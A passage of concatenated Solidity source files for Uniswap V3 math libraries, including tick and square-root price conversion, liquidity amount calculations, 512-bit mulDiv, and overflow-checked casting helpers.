owner, address indexed spender, uint256 value); } // SPDX-License-Identifier: GPL-2.0-or-later pragma solidity >=0.5.0; /// @title Math library for computing sqrt prices from ticks and vice versa /// @notice Computes sqrt price for ticks of size 1.0001, i.e. sqrt(1.0001^tick) as fixed point Q64.96 numbers. Supports /// prices between 2**-128 and 2**128 library TickMath { /// @dev The minimum tick that may be passed to #getSqrtRatioAtTick computed from log base 1.0001 of 2**-128 int24 internal constant MIN_TICK = -887272; /// @dev The maximum tick that may be passed to #getSqrtRatioAtTick computed from log base 1.0001 of 2**128 int24 internal constant MAX_TICK = -MIN_TICK; /// @dev The minimum value that can be returned from #getSqrtRatioAtTick. Equivalent to getSqrtRatioAtTick(MIN_TICK) uint160 internal constant MIN_SQRT_RATIO = 4295128739; /// @dev The maximum value that can be returned from #getSqrtRatioAtTick. Equivalent to getSqrtRatioAtTick(MAX_TICK) uint160 internal constant MAX_SQRT_RATIO = 1461446703485210103287273052203988822378723970342; /// @notice Calculates sqrt(1.0001^tick) * 2^96 /// @dev Throws if |tick| > max tick /// @param tick The input tick for the above formula /// @return sqrtPriceX96 A Fixed point Q64.96 number representing the sqrt of the ratio of the two assets (token1/token0) /// at the given tick function getSqrtRatioAtTick(int24 tick) internal pure returns (uint160 sqrtPriceX96) { uint256 absTick = tick < 0 ? uint256(-int256(tick)) : uint256(int256(tick)); require(absTick <= uint256(MAX_TICK), 'T'); uint256 ratio = absTick & 0x1 != 0 ? 0xfffcb933bd6fad37aa2d162d1a594001 : 0x100000000000000000000000000000000; if (absTick & 0x2 != 0) ratio = (ratio * 0xfff97272373d413259a46990580e213a) >> 128; if (absTick & 0x4 != 0) ratio = (ratio * 0xfff2e50f5f656932ef12357cf3c7fdcc) >> 128; if (absTick & 0x8 != 0) ratio = (ratio * 0xffe5caca7e10e4e61c3624eaa0941cd0) >> 128; if (absTick & 0x10 != 0) ratio = (ratio * 0xffcb9843d60f6159c9db58835c926644) >> 128; if (absTick & 0x20 != 0) ratio = (ratio * 0xff973b41fa98c081472e6896dfb254c0) >> 128; if (absTick & 0x40 != 0) ratio = (ratio * 0xff2ea16466c96a3843ec78b326b52861) >> 128; if (absTick & 0x80 != 0) ratio = (ratio * 0xfe5dee046a99a2a811c461f1969c3053) >> 128; if (absTick & 0x100 != 0) ratio = (ratio * 0xfcbe86c7900a88aedcffc83b479aa3a4) >> 128; if (absTick & 0x200 != 0) ratio = (ratio * 0xf987a7253ac413176f2b074cf7815e54) >> 128; if (absTick & 0x400 != 0) ratio = (ratio * 0xf3392b0822b70005940c7a398e4b70f3) >> 128; if (absTick & 0x800 != 0) ratio = (ratio * 0xe7159475a2c29b7443b29c7fa6e889d9) >> 128; if (absTick & 0x1000 != 0) ratio = (ratio * 0xd097f3bdfd2022b8845ad8f792aa5825) >> 128; if (absTick & 0x2000 != 0) ratio = (ratio * 0xa9f746462d870fdf8a65dc1f90e061e5) >> 128; if (absTick & 0x4000 != 0) ratio = (ratio * 0x70d869a156d2a1b890bb3df62baf32f7) >> 128; if (absTick & 0x8000 != 0) ratio = (ratio * 0x31be135f97d08fd981231505542fcfa6) >> 128; if (absTick & 0x10000 != 0) ratio = (ratio * 0x9aa508b5b7a84e1c677de54f3e99bc9) >> 128; if (absTick & 0x20000 != 0) ratio = (ratio * 0x5d6af8dedb81196699c329225ee604) >> 128; if (absTick & 0x40000 != 0) ratio = (ratio * 0x2216e584f5fa1ea926041bedfe98) >> 128; if (absTick & 0x80000 != 0) ratio = (ratio * 0x48a170391f7dc42444e8fa2) >> 128; if (tick > 0) ratio = type(uint256).max / ratio; // this divides by 1<<32 rounding up to go from a Q128.128 to a Q128.96. // we then downcast because we know the result always fits within 160 bits due to our tick input constraint // we round up in the division so getTickAtSqrtRatio of the output price is always consistent sqrtPriceX96 = uint160((ratio >> 32) + (ratio % (1 << 32) == 0 ? 0 : 1)); } /// @notice Calculates the greatest tick value such that getRatioAtTick(tick) <= ratio /// @dev Throws in case sqrtPriceX96 < MIN_SQRT_RATIO, as MIN_SQRT_RATIO is the lowest value getRatioAtTick may /// ever return. /// @param sqrtPriceX96 The sqrt ratio for which to compute the tick as a Q64.96 /// @return tick The greatest tick for which the ratio is less than or equal to the input ratio function getTickAtSqrtRatio(uint160 sqrtPriceX96) internal pure returns (int24 tick) { // second inequality must be < because the price can never reach the price at the max tick require(sqrtPriceX96 >= MIN_SQRT_RATIO && sqrtPriceX96 < MAX_SQRT_RATIO, 'R'); uint256 ratio = uint256(sqrtPriceX96) << 32; uint256 r = ratio; uint256 msb = 0; assembly { let f := shl(7, gt(r, 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF)) msb := or(msb, f) r := shr(f, r) } assembly { let f := shl(6, gt(r, 0xFFFFFFFFFFFFFFFF)) msb := or(msb, f) r := shr(f, r) } assembly { let f := shl(5, gt(r, 0xFFFFFFFF)) msb := or(msb, f) r := shr(f, r) } assembly { let f := shl(4, gt(r, 0xFFFF)) msb := or(msb, f) r := shr(f, r) } assembly { let f := shl(3, gt(r, 0xFF)) msb := or(msb, f) r := shr(f, r) } assembly { let f := shl(2, gt(r, 0xF)) msb := or(msb, f) r := shr(f, r) } assembly { let f := shl(1, gt(r, 0x3)) msb := or(msb, f) r := shr(f, r) } assembly { let f := gt(r, 0x1) msb := or(msb, f) } if (msb >= 128) r = ratio >> (msb - 127); else r = ratio << (127 - msb); int256 log_2 = (int256(msb) - 128) << 64; assembly { r := shr(127, mul(r, r)) let f := shr(128, r) log_2 := or(log_2, shl(63, f)) r := shr(f, r) } assembly { r := shr(127, mul(r, r)) let f := shr(128, r) log_2 := or(log_2, shl(62, f)) r := shr(f, r) } assembly { r := shr(127, mul(r, r)) let f := shr(128, r) log_2 := or(log_2, shl(61, f)) r := shr(f, r) } assembly { r := shr(127, mul(r, r)) let f := shr(128, r) log_2 := or(log_2, shl(60, f)) r := shr(f, r) } assembly { r := shr(127, mul(r, r)) let f := shr(128, r) log_2 := or(log_2, shl(59, f)) r := shr(f, r) } assembly { r := shr(127, mul(r, r)) let f := shr(128, r) log_2 := or(log_2, shl(58, f)) r := shr(f, r) } assembly { r := shr(127, mul(r, r)) let f := shr(128, r) log_2 := or(log_2, shl(57, f)) r := shr(f, r) } assembly { r := shr(127, mul(r, r)) let f := shr(128, r) log_2 := or(log_2, shl(56, f)) r := shr(f, r) } assembly { r := shr(127, mul(r, r)) let f := shr(128, r) log_2 := or(log_2, shl(55, f)) r := shr(f, r) } assembly { r := shr(127, mul(r, r)) let f := shr(128, r) log_2 := or(log_2, shl(54, f)) r := shr(f, r) } assembly { r := shr(127, mul(r, r)) let f := shr(128, r) log_2 := or(log_2, shl(53, f)) r := shr(f, r) } assembly { r := shr(127, mul(r, r)) let f := shr(128, r) log_2 := or(log_2, shl(52, f)) r := shr(f, r) } assembly { r := shr(127, mul(r, r)) let f := shr(128, r) log_2 := or(log_2, shl(51, f)) r := shr(f, r) } assembly { r := shr(127, mul(r, r)) let f := shr(128, r) log_2 := or(log_2, shl(50, f)) } int256 log_sqrt10001 = log_2 * 255738958999603826347141; // 128.128 number int24 tickLow = int24((log_sqrt10001 - 3402992956809132418596140100660247210) >> 128); int24 tickHi = int24((log_sqrt10001 + 291339464771989622907027621153398088495) >> 128); tick = tickLow == tickHi ? tickLow : getSqrtRatioAtTick(tickHi) <= sqrtPriceX96 ? tickHi : tickLow; } } // SPDX-License-Identifier: BUSL-1.1 pragma solidity >=0.5.0; import './LowGasSafeMath.sol'; import './SafeCast.sol'; import './FullMath.sol'; import './UnsafeMath.sol'; import './FixedPoint96.sol'; /// @title Functions based on Q64.96 sqrt price and liquidity /// @notice Contains the math that uses square root of price as a Q64.96 and liquidity to compute deltas library SqrtPriceMath { using LowGasSafeMath for uint256; using SafeCast for uint256; /// @notice Gets the next sqrt price given a delta of token0 /// @dev Always rounds up, because in the exact output case (increasing price) we need to move the price at least /// far enough to get the desired output amount, and in the exact input case (decreasing price) we need to move the /// price less in order to not send too much output. /// The most precise formula for this is liquidity * sqrtPX96 / (liquidity +- amount * sqrtPX96), /// if this is impossible because of overflow, we calculate liquidity / (liquidity / sqrtPX96 +- amount). /// @param sqrtPX96 The starting price, i.e. before accounting for the token0 delta /// @param liquidity The amount of usable liquidity /// @param amount How much of token0 to add or remove from virtual reserves /// @param add Whether to add or remove the amount of token0 /// @return The price after adding or removing amount, depending on add function getNextSqrtPriceFromAmount0RoundingUp( uint160 sqrtPX96, uint128 liquidity, uint256 amount, bool add ) internal pure returns (uint160) { // we short circuit amount == 0 because the result is otherwise not guaranteed to equal the input price if (amount == 0) return sqrtPX96; uint256 numerator1 = uint256(liquidity) << FixedPoint96.RESOLUTION; if (add) { uint256 product; if ((product = amount * sqrtPX96) / amount == sqrtPX96) { uint256 denominator = numerator1 + product; if (denominator >= numerator1) // always fits in 160 bits return uint160(FullMath.mulDivRoundingUp(numerator1, sqrtPX96, denominator)); } return uint160(UnsafeMath.divRoundingUp(numerator1, (numerator1 / sqrtPX96).add(amount))); } else { uint256 product; // if the product overflows, we know the denominator underflows // in addition, we must check that the denominator does not underflow require((product = amount * sqrtPX96) / amount == sqrtPX96 && numerator1 > product); uint256 denominator = numerator1 - product; return FullMath.mulDivRoundingUp(numerator1, sqrtPX96, denominator).toUint160(); } } /// @notice Gets the next sqrt price given a delta of token1 /// @dev Always rounds down, because in the exact output case (decreasing price) we need to move the price at least /// far enough to get the desired output amount, and in the exact input case (increasing price) we need to move the /// price less in order to not send too much output. /// The formula we compute is within <1 wei of the lossless version: sqrtPX96 +- amount / liquidity /// @param sqrtPX96 The starting price, i.e., before accounting for the token1 delta /// @param liquidity The amount of usable liquidity /// @param amount How much of token1 to add, or remove, from virtual reserves /// @param add Whether to add, or remove, the amount of token1 /// @return The price after adding or removing `amount` function getNextSqrtPriceFromAmount1RoundingDown( uint160 sqrtPX96, uint128 liquidity, uint256 amount, bool add ) internal pure returns (uint160) { // if we're adding (subtracting), rounding down requires rounding the quotient down (up) // in both cases, avoid a mulDiv for most inputs if (add) { uint256 quotient = ( amount <= type(uint160).max ? (amount << FixedPoint96.RESOLUTION) / liquidity : FullMath.mulDiv(amount, FixedPoint96.Q96, liquidity) ); return uint256(sqrtPX96).add(quotient).toUint160(); } else { uint256 quotient = ( amount <= type(uint160).max ? UnsafeMath.divRoundingUp(amount << FixedPoint96.RESOLUTION, liquidity) : FullMath.mulDivRoundingUp(amount, FixedPoint96.Q96, liquidity) ); require(sqrtPX96 > quotient); // always fits 160 bits return uint160(sqrtPX96 - quotient); } } /// @notice Gets the next sqrt price given an input amount of token0 or token1 /// @dev Throws if price or liquidity are 0, or if the next price is out of bounds /// @param sqrtPX96 The starting price, i.e., before accounting for the input amount /// @param liquidity The amount of usable liquidity /// @param amountIn How much of token0, or token1, is being swapped in /// @param zeroForOne Whether the amount in is token0 or token1 /// @return sqrtQX96 The price after adding the input amount to token0 or token1 function getNextSqrtPriceFromInput( uint160 sqrtPX96, uint128 liquidity, uint256 amountIn, bool zeroForOne ) internal pure returns (uint160 sqrtQX96) { require(sqrtPX96 > 0); require(liquidity > 0); // round to make sure that we don't pass the target price return zeroForOne ? getNextSqrtPriceFromAmount0RoundingUp(sqrtPX96, liquidity, amountIn, true) : getNextSqrtPriceFromAmount1RoundingDown(sqrtPX96, liquidity, amountIn, true); } /// @notice Gets the next sqrt price given an output amount of token0 or token1 /// @dev Throws if price or liquidity are 0 or the next price is out of bounds /// @param sqrtPX96 The starting price before accounting for the output amount /// @param liquidity The amount of usable liquidity /// @param amountOut How much of token0, or token1, is being swapped out /// @param zeroForOne Whether the amount out is token0 or token1 /// @return sqrtQX96 The price after removing the output amount of token0 or token1 function getNextSqrtPriceFromOutput( uint160 sqrtPX96, uint128 liquidity, uint256 amountOut, bool zeroForOne ) internal pure returns (uint160 sqrtQX96) { require(sqrtPX96 > 0); require(liquidity > 0); // round to make sure that we pass the target price return zeroForOne ? getNextSqrtPriceFromAmount1RoundingDown(sqrtPX96, liquidity, amountOut, false) : getNextSqrtPriceFromAmount0RoundingUp(sqrtPX96, liquidity, amountOut, false); } /// @notice Gets the amount0 delta between two prices /// @dev Calculates liquidity / sqrt(lower) - liquidity / sqrt(upper), /// i.e. liquidity * (sqrt(upper) - sqrt(lower)) / (sqrt(upper) * sqrt(lower)) /// @param sqrtRatioAX96 A sqrt price /// @param sqrtRatioBX96 Another sqrt price /// @param liquidity The amount of usable liquidity /// @param roundUp Whether to round the amount up or down /// @return amount0 Amount of token0 required to cover a position of size liquidity between the two passed prices function getAmount0Delta( uint160 sqrtRatioAX96, uint160 sqrtRatioBX96, uint128 liquidity, bool roundUp ) internal pure returns (uint256 amount0) { if (sqrtRatioAX96 > sqrtRatioBX96) (sqrtRatioAX96, sqrtRatioBX96) = (sqrtRatioBX96, sqrtRatioAX96); uint256 numerator1 = uint256(liquidity) << FixedPoint96.RESOLUTION; uint256 numerator2 = sqrtRatioBX96 - sqrtRatioAX96; require(sqrtRatioAX96 > 0); return roundUp ? UnsafeMath.divRoundingUp( FullMath.mulDivRoundingUp(numerator1, numerator2, sqrtRatioBX96), sqrtRatioAX96 ) : FullMath.mulDiv(numerator1, numerator2, sqrtRatioBX96) / sqrtRatioAX96; } /// @notice Gets the amount1 delta between two prices /// @dev Calculates liquidity * (sqrt(upper) - sqrt(lower)) /// @param sqrtRatioAX96 A sqrt price /// @param sqrtRatioBX96 Another sqrt price /// @param liquidity The amount of usable liquidity /// @param roundUp Whether to round the amount up, or down /// @return amount1 Amount of token1 required to cover a position of size liquidity between the two passed prices function getAmount1Delta( uint160 sqrtRatioAX96, uint160 sqrtRatioBX96, uint128 liquidity, bool roundUp ) internal pure returns (uint256 amount1) { if (sqrtRatioAX96 > sqrtRatioBX96) (sqrtRatioAX96, sqrtRatioBX96) = (sqrtRatioBX96, sqrtRatioAX96); return roundUp ? FullMath.mulDivRoundingUp(liquidity, sqrtRatioBX96 - sqrtRatioAX96, FixedPoint96.Q96) : FullMath.mulDiv(liquidity, sqrtRatioBX96 - sqrtRatioAX96, FixedPoint96.Q96); } /// @notice Helper that gets signed token0 delta /// @param sqrtRatioAX96 A sqrt price /// @param sqrtRatioBX96 Another sqrt price /// @param liquidity The change in liquidity for which to compute the amount0 delta /// @return amount0 Amount of token0 corresponding to the passed liquidityDelta between the two prices function getAmount0Delta( uint160 sqrtRatioAX96, uint160 sqrtRatioBX96, int128 liquidity ) internal pure returns (int256 amount0) { return liquidity < 0 ? -getAmount0Delta(sqrtRatioAX96, sqrtRatioBX96, uint128(-liquidity), false).toInt256() : getAmount0Delta(sqrtRatioAX96, sqrtRatioBX96, uint128(liquidity), true).toInt256(); } /// @notice Helper that gets signed token1 delta /// @param sqrtRatioAX96 A sqrt price /// @param sqrtRatioBX96 Another sqrt price /// @param liquidity The change in liquidity for which to compute the amount1 delta /// @return amount1 Amount of token1 corresponding to the passed liquidityDelta between the two prices function getAmount1Delta( uint160 sqrtRatioAX96, uint160 sqrtRatioBX96, int128 liquidity ) internal pure returns (int256 amount1) { return liquidity < 0 ? -getAmount1Delta(sqrtRatioAX96, sqrtRatioBX96, uint128(-liquidity), false).toInt256() : getAmount1Delta(sqrtRatioAX96, sqrtRatioBX96, uint128(liquidity), true).toInt256(); } } // SPDX-License-Identifier: GPL-2.0-or-later pragma solidity >=0.5.0; library PositionKey { /// @dev Returns the key of the position in the core library function compute( address owner, int24 tickLower, int24 tickUpper ) internal pure returns (bytes32) { return keccak256(abi.encodePacked(owner, tickLower, tickUpper)); } } // SPDX-License-Identifier: GPL-2.0-or-later pragma solidity >=0.5.0; import '@uniswap/v3-core/contracts/libraries/FullMath.sol'; import '@uniswap/v3-core/contracts/libraries/FixedPoint96.sol'; /// @title Liquidity amount functions /// @notice Provides functions for computing liquidity amounts from token amounts and prices library LiquidityAmounts { /// @notice Downcasts uint256 to uint128 /// @param x The uint258 to be downcasted /// @return y The passed value, downcasted to uint128 function toUint128(uint256 x) private pure returns (uint128 y) { require((y = uint128(x)) == x); } /// @notice Computes the amount of liquidity received for a given amount of token0 and price range /// @dev Calculates amount0 * (sqrt(upper) * sqrt(lower)) / (sqrt(upper) - sqrt(lower)) /// @param sqrtRatioAX96 A sqrt price representing the first tick boundary /// @param sqrtRatioBX96 A sqrt price representing the second tick boundary /// @param amount0 The amount0 being sent in /// @return liquidity The amount of returned liquidity function getLiquidityForAmount0( uint160 sqrtRatioAX96, uint160 sqrtRatioBX96, uint256 amount0 ) internal pure returns (uint128 liquidity) { if (sqrtRatioAX96 > sqrtRatioBX96) (sqrtRatioAX96, sqrtRatioBX96) = (sqrtRatioBX96, sqrtRatioAX96); uint256 intermediate = FullMath.mulDiv(sqrtRatioAX96, sqrtRatioBX96, FixedPoint96.Q96); return toUint128(FullMath.mulDiv(amount0, intermediate, sqrtRatioBX96 - sqrtRatioAX96)); } /// @notice Computes the amount of liquidity received for a given amount of token1 and price range /// @dev Calculates amount1 / (sqrt(upper) - sqrt(lower)). /// @param sqrtRatioAX96 A sqrt price representing the first tick boundary /// @param sqrtRatioBX96 A sqrt price representing the second tick boundary /// @param amount1 The amount1 being sent in /// @return liquidity The amount of returned liquidity function getLiquidityForAmount1( uint160 sqrtRatioAX96, uint160 sqrtRatioBX96, uint256 amount1 ) internal pure returns (uint128 liquidity) { if (sqrtRatioAX96 > sqrtRatioBX96) (sqrtRatioAX96, sqrtRatioBX96) = (sqrtRatioBX96, sqrtRatioAX96); return toUint128(FullMath.mulDiv(amount1, FixedPoint96.Q96, sqrtRatioBX96 - sqrtRatioAX96)); } /// @notice Computes the maximum amount of liquidity received for a given amount of token0, token1, the current /// pool prices and the prices at the tick boundaries /// @param sqrtRatioX96 A sqrt price representing the current pool prices /// @param sqrtRatioAX96 A sqrt price representing the first tick boundary /// @param sqrtRatioBX96 A sqrt price representing the second tick boundary /// @param amount0 The amount of token0 being sent in /// @param amount1 The amount of token1 being sent in /// @return liquidity The maximum amount of liquidity received function getLiquidityForAmounts( uint160 sqrtRatioX96, uint160 sqrtRatioAX96, uint160 sqrtRatioBX96, uint256 amount0, uint256 amount1 ) internal pure returns (uint128 liquidity) { if (sqrtRatioAX96 > sqrtRatioBX96) (sqrtRatioAX96, sqrtRatioBX96) = (sqrtRatioBX96, sqrtRatioAX96); if (sqrtRatioX96 <= sqrtRatioAX96) { liquidity = getLiquidityForAmount0(sqrtRatioAX96, sqrtRatioBX96, amount0); } else if (sqrtRatioX96 < sqrtRatioBX96) { uint128 liquidity0 = getLiquidityForAmount0(sqrtRatioX96, sqrtRatioBX96, amount0); uint128 liquidity1 = getLiquidityForAmount1(sqrtRatioAX96, sqrtRatioX96, amount1); liquidity = liquidity0 < liquidity1 ? liquidity0 : liquidity1; } else { liquidity = getLiquidityForAmount1(sqrtRatioAX96, sqrtRatioBX96, amount1); } } /// @notice Computes the amount of token0 for a given amount of liquidity and a price range /// @param sqrtRatioAX96 A sqrt price representing the first tick boundary /// @param sqrtRatioBX96 A sqrt price representing the second tick boundary /// @param liquidity The liquidity being valued /// @return amount0 The amount of token0 function getAmount0ForLiquidity( uint160 sqrtRatioAX96, uint160 sqrtRatioBX96, uint128 liquidity ) internal pure returns (uint256 amount0) { if (sqrtRatioAX96 > sqrtRatioBX96) (sqrtRatioAX96, sqrtRatioBX96) = (sqrtRatioBX96, sqrtRatioAX96); return FullMath.mulDiv( uint256(liquidity) << FixedPoint96.RESOLUTION, sqrtRatioBX96 - sqrtRatioAX96, sqrtRatioBX96 ) / sqrtRatioAX96; } /// @notice Computes the amount of token1 for a given amount of liquidity and a price range /// @param sqrtRatioAX96 A sqrt price representing the first tick boundary /// @param sqrtRatioBX96 A sqrt price representing the second tick boundary /// @param liquidity The liquidity being valued /// @return amount1 The amount of token1 function getAmount1ForLiquidity( uint160 sqrtRatioAX96, uint160 sqrtRatioBX96, uint128 liquidity ) internal pure returns (uint256 amount1) { if (sqrtRatioAX96 > sqrtRatioBX96) (sqrtRatioAX96, sqrtRatioBX96) = (sqrtRatioBX96, sqrtRatioAX96); return FullMath.mulDiv(liquidity, sqrtRatioBX96 - sqrtRatioAX96, FixedPoint96.Q96); } /// @notice Computes the token0 and token1 value for a given amount of liquidity, the current /// pool prices and the prices at the tick boundaries /// @param sqrtRatioX96 A sqrt price representing the current pool prices /// @param sqrtRatioAX96 A sqrt price representing the first tick boundary /// @param sqrtRatioBX96 A sqrt price representing the second tick boundary /// @param liquidity The liquidity being valued /// @return amount0 The amount of token0 /// @return amount1 The amount of token1 function getAmountsForLiquidity( uint160 sqrtRatioX96, uint160 sqrtRatioAX96, uint160 sqrtRatioBX96, uint128 liquidity ) internal pure returns (uint256 amount0, uint256 amount1) { if (sqrtRatioAX96 > sqrtRatioBX96) (sqrtRatioAX96, sqrtRatioBX96) = (sqrtRatioBX96, sqrtRatioAX96); if (sqrtRatioX96 <= sqrtRatioAX96) { amount0 = getAmount0ForLiquidity(sqrtRatioAX96, sqrtRatioBX96, liquidity); } else if (sqrtRatioX96 < sqrtRatioBX96) { amount0 = getAmount0ForLiquidity(sqrtRatioX96, sqrtRatioBX96, liquidity); amount1 = getAmount1ForLiquidity(sqrtRatioAX96, sqrtRatioX96, liquidity); } else { amount1 = getAmount1ForLiquidity(sqrtRatioAX96, sqrtRatioBX96, liquidity); } } } // SPDX-License-Identifier: MIT pragma solidity ^0.7.0; /** * @dev Wrappers over Solidity's uintXX/intXX casting operators with added overflow * checks. * * Downcasting from uint256/int256 in Solidity does not revert on overflow. This can * easily result in undesired exploitation or bugs, since developers usually * assume that overflows raise errors. `SafeCast` restores this intuition by * reverting the transaction when such an operation overflows. * * Using this library instead of the unchecked operations eliminates an entire * class of bugs, so it's recommended to use it always. * * Can be combined with {SafeMath} and {SignedSafeMath} to extend it to smaller types, by performing * all math on `uint256` and `int256` and then downcasting. */ library SafeCastExtended { /** * @dev Returns the downcasted uint128 from uint256, reverting on * overflow (when the input is greater than largest uint128). * * Counterpart to Solidity's `uint128` operator. * * Requirements: * * - input must fit into 128 bits */ function toUint128(uint256 value) internal pure returns (uint128) { require(value < 2**128, "SafeCast: value doesn't fit in 128 bits"); return uint128(value); } /** * @dev Returns the downcasted uint64 from uint256, reverting on * overflow (when the input is greater than largest uint64). * * Counterpart to Solidity's `uint64` operator. * * Requirements: * * - input must fit into 64 bits */ function toUint64(uint256 value) internal pure returns (uint64) { require(value < 2**64, "SafeCast: value doesn't fit in 64 bits"); return uint64(value); } /** * @dev Returns the downcasted uint32 from uint256, reverting on * overflow (when the input is greater than largest uint32). * * Counterpart to Solidity's `uint32` operator. * * Requirements: * * - input must fit into 32 bits */ function toUint32(uint256 value) internal pure returns (uint32) { require(value < 2**32, "SafeCast: value doesn't fit in 32 bits"); return uint32(value); } /** * @dev Returns the downcasted uint16 from uint256, reverting on * overflow (when the input is greater than largest uint16). * * Counterpart to Solidity's `uint16` operator. * * Requirements: * * - input must fit into 16 bits */ function toUint16(uint256 value) internal pure returns (uint16) { require(value < 2**16, "SafeCast: value doesn't fit in 16 bits"); return uint16(value); } /** * @dev Returns the downcasted uint8 from uint256, reverting on * overflow (when the input is greater than largest uint8). * * Counterpart to Solidity's `uint8` operator. * * Requirements: * * - input must fit into 8 bits. */ function toUint8(uint256 value) internal pure returns (uint8) { require(value < 2**8, "SafeCast: value doesn't fit in 8 bits"); return uint8(value); } /** * @dev Converts a signed int256 into an unsigned uint256. * * Requirements: * * - input must be greater than or equal to 0. */ function toUint256(int256 value) internal pure returns (uint256) { require(value >= 0, "SafeCast: value must be positive"); return uint256(value); } /** * @dev Returns the downcasted int128 from int256, reverting on * overflow (when the input is less than smallest int128 or * greater than largest int128). * * Counterpart to Solidity's `int128` operator. * * Requirements: * * - input must fit into 128 bits * * _Available since v3.1._ */ function toInt128(int256 value) internal pure returns (int128) { require( value >= -2**127 && value < 2**127, "SafeCast: value doesn't fit in 128 bits" ); return int128(value); } /** * @dev Returns the downcasted int64 from int256, reverting on * overflow (when the input is less than smallest int64 or * greater than largest int64). * * Counterpart to Solidity's `int64` operator. * * Requirements: * * - input must fit into 64 bits * * _Available since v3.1._ */ function toInt64(int256 value) internal pure returns (int64) { require( value >= -2**63 && value < 2**63, "SafeCast: value doesn't fit in 64 bits" ); return int64(value); } /** * @dev Returns the downcasted int32 from int256, reverting on * overflow (when the input is less than smallest int32 or * greater than largest int32). * * Counterpart to Solidity's `int32` operator. * * Requirements: * * - input must fit into 32 bits * * _Available since v3.1._ */ function toInt32(int256 value) internal pure returns (int32) { require( value >= -2**31 && value < 2**31, "SafeCast: value doesn't fit in 32 bits" ); return int32(value); } /** * @dev Returns the downcasted int16 from int256, reverting on * overflow (when the input is less than smallest int16 or * greater than largest int16). * * Counterpart to Solidity's `int16` operator. * * Requirements: * * - input must fit into 16 bits * * _Available since v3.1._ */ function toInt16(int256 value) internal pure returns (int16) { require( value >= -2**15 && value < 2**15, "SafeCast: value doesn't fit in 16 bits" ); return int16(value); } /** * @dev Returns the downcasted int8 from int256, reverting on * overflow (when the input is less than smallest int8 or * greater than largest int8). * * Counterpart to Solidity's `int8` operator. * * Requirements: * * - input must fit into 8 bits. * * _Available since v3.1._ */ function toInt8(int256 value) internal pure returns (int8) { require( value >= -2**7 && value < 2**7, "SafeCast: value doesn't fit in 8 bits" ); return int8(value); } /** * @dev Converts an unsigned uint256 into a signed int256. * * Requirements: * * - input must be less than or equal to maxInt256. */ function toInt256(uint256 value) internal pure returns (int256) { require(value < 2**255, "SafeCast: value doesn't fit in an int256"); return int256(value); } } // SPDX-License-Identifier: GPL-2.0-or-later pragma solidity >=0.5.0; import './pool/IUniswapV3PoolImmutables.sol'; import './pool/IUniswapV3PoolState.sol'; import './pool/IUniswapV3PoolDerivedState.sol'; import './pool/IUniswapV3PoolActions.sol'; import './pool/IUniswapV3PoolOwnerActions.sol'; import './pool/IUniswapV3PoolEvents.sol'; /// @title The interface for a Uniswap V3 Pool /// @notice A Uniswap pool facilitates swapping and automated market making between any two assets that strictly conform /// to the ERC20 specification /// @dev The pool interface is broken up into many smaller pieces interface IUniswapV3Pool is IUniswapV3PoolImmutables, IUniswapV3PoolState, IUniswapV3PoolDerivedState, IUniswapV3PoolActions, IUniswapV3PoolOwnerActions, IUniswapV3PoolEvents { } // SPDX-License-Identifier: MIT pragma solidity >=0.4.0; /// @title Contains 512-bit math functions /// @notice Facilitates multiplication and division that can have overflow of an intermediate value without any loss of precision /// @dev Handles "phantom overflow" i.e., allows multiplication and division where an intermediate value overflows 256 bits library FullMath { /// @notice Calculates floor(a×b÷denominator) with full precision. Throws if result overflows a uint256 or denominator == 0 /// @param a The multiplicand /// @param b The multiplier /// @param denominator The divisor /// @return result The 256-bit result /// @dev Credit to Remco Bloemen under MIT license https://xn--2-umb.com/21/muldiv function mulDiv( uint256 a, uint256 b, uint256 denominator ) internal pure returns (uint256 result) { // 512-bit multiply [prod1 prod0] = a * b // Compute the product mod 2**256 and mod 2**256 - 1 // then use the Chinese Remainder Theorem to reconstruct // the 512 bit result. The result is stored in two 256 // variables such that product = prod1 * 2**256 + prod0 uint256 prod0; // Least significant 256 bits of the product uint256 prod1; // Most significant 256 bits of the product assembly { let mm := mulmod(a, b, not(0)) prod0 := mul(a, b) prod1 := sub(sub(mm, prod0), lt(mm, prod0)) } // Handle non-overflow cases, 256 by 256 division if (prod1 == 0) { require(denominator > 0); assembly { result := div(prod0, denominator) } return result; } // Make sure the result is less than 2**256. // Also prevents denominator == 0 require(denominator > prod1); /////////////////////////////////////////////// // 512 by 256 division. /////////////////////////////////////////////// // Make division exact by subtracting the remainder from [prod1 prod0] // Compute remainder using mulmod uint256 remainder; assembly { remainder := mulmod(a, b, denominator) } // Subtract 256 bit number from 512 bit number assembly { prod1 := sub(prod1, gt(remainder, prod0)) prod0 := sub(prod0, remainder) } // Factor powers of two out of denominator // Compute largest power of two divisor of denominator. // Always >= 1. uint256 twos = -denominator & denominator; // Divide denominator by power of two assembly { denominator := div(denominator, twos) } // Divide [prod1 prod0] by the factors of two assembly { prod0 := div(prod0, twos) } // Shift in bits from prod1 into prod0. For this we need // to flip `twos` such that it is 2**256 / twos. // If twos is zero, then it becomes one assembly { twos := add(div(sub(0, twos), twos), 1) } prod0 |= prod1 * twos; // Invert denominator mod 2**256 // Now that denominator is an odd number, it has an inverse // modulo 2**256 such that denominator * inv = 1 mod 2**256. // Compute the inverse by starting with a seed that is correct // correct for four bits. That is, denominator * inv = 1 mod 2**4 uint256 inv = (3 * denominator) ^ 2; // Now use Newton-Raphson iteration to improve the precision. // Thanks to Hensel's lifting lemma, this also works in modular // arithmetic, doubling the correct bits in each step. inv *= 2 - denominator * inv; // inverse mod 2**8 inv *= 2 - denominator * inv; // inverse mod 2**16 inv *= 2 - denominator * inv; // inverse mod 2**32 inv *= 2 - denominator * inv; // inverse mod 2**64 inv *= 2 - denominator * inv; // inverse mod 2**128 inv *= 2 - denominator * inv; // inverse mod 2**256 // Because the division is now exact we can divide by multiplying // with the modular inverse of denominator. This will give us the // correct result modulo 2**256. Since the precoditions guarantee // that the outcome is less than 2**256, this is the final result. // We don't need to compute the high bits of the result and prod1 // is no longer required. result = prod0 * inv; return result; } /// @notice Calculates ceil(a×b÷denominator) with full precision. Throws if result overflows a uint256 or denominator == 0 /// @param a The multiplicand /// @param b The multiplier /// @param denominator The divisor /// @return result The 256-bit result function mulDivRoundingUp( uint256 a, uint256 b, uint256 denominator ) internal pure returns (uint256 result) { result = mulDiv(a, b, denominator); if (mulmod(a, b, denominator) > 0) { require(result < type(uint256).max); result++; } } } // SPDX-License-Identifier: GPL-2.0-or-later pragma solidity >=0.7.0; /// @title Optimized overflow and underflow safe math operations /// @notice Contains methods for doing math operations that revert on overflow or underflow for minimal gas cost library LowGasSafeMath { /// 